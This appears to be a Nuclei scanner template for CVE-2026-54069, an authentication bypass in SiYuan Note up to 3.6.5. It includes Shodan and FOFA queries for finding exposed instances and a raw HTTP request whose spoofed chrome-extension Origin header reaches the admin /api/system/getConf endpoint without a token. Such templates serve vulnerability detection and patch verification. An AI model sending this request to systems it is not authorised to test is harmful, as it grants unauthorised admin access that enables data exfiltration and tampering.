SiYuan Note <= 3.6.5 - Authentication Bypass

id: CVE-2026-54069

info:
  name: SiYuan Note <= 3.6.5 - Authentication Bypass
  author: 0x_Akoko
  severity: high
  description: |
    SiYuan Note 3.6.5 and prior is vulnerable to authentication bypass. The CheckAuth middleware unconditionally trusted all chrome-extension:// origins, granting RoleAdministrator access without token validation to any request with a spoofed Origin header. Fixed in v3.7.0.
  impact: |
    Attackers can access all admin API endpoints, enabling full data exfiltration, stored XSS injection, and configuration tampering.
  remediation: |
    Update to SiYuan Note v3.7.0 or later.
  reference:
    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-hvr9-72v2-fff3
    - https://nvd.nist.gov/vuln/detail/CVE-2026-54069
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-54069
    epss-score: 0.00607
    epss-percentile: 0.44641
    cwe-id: CWE-346
  metadata:
    verified: false
    max-request: 1
    vendor: siyuan-note
    product: siyuan
    shodan-query: title:"SiYuan"
    fofa-query: title="SiYuan" || body="siyuan"
  tags: cve,cve2026,siyuan,auth-bypass,unauth

http:
  - raw:
      - |
        POST /api/system/getConf HTTP/1.1
        Host: {{Hostname}}
        Origin: chrome-extension://auth-test
        Content-Type: application/json

        {}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "\"code\":0")'
          - 'contains_all(body, "\"conf\"", "\"system\"", "\"kernelVersion\"")'
        condition: and
# digest: 4a0a0047304502201ac92fa95ce0feaf25c24ab13bb431f54d78aa395e793e38998e1d0d1b94f245022100887d09d50ec075f07f12cf729123057033dca6c436adeedf2867696dee0ed452:922c64590222798bb761d5b6d8e72950